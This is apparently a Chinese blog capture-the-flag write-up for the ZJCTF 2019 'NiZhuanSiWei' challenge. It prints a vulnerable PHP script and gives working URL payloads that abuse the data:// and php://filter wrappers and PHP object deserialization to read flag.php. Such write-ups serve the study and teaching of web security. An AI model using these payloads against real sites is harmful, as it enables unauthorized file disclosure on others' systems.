[ZJCTF 2019]NiZhuanSiWei
这题主要考察的是php伪协议与文件包含
第一层
打开之后得到一段代码
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); }
第一层为if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
文件包含,并且text文件里面要传入welcome to the zjctf
可以将文件内容通过data伪协议写进去,然后让file_get_contents()函数进行读取,payload如下
/?text=data://text/plain,welcome to the zjctf
得到回显
成功绕过第一层
第二层
重点代码如下
if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } }
正则过滤掉flag,而题目又提示了useless.php,所以用php://filter协议来读取useless.php,payload如下:
/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
得到useless.php的内容,不过是用base64加密后的
第三层
base64解密之后,得到
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
结合之前题目的代码,序列化一下
<?php class Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password=new Flag(); echo serialize($password); ?>
运行一下,得到
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
于是最后一层payload就出来了
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码就得到了flag
另外,想补充一下有关伪协议与文件包含的知识
感觉这篇文章就不错伪协议与文件包含
本文来自博客园,作者:Athena-ydy,转载请注明原文链接:https://www.cnblogs.com/Athena-ydy/p/15471584.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效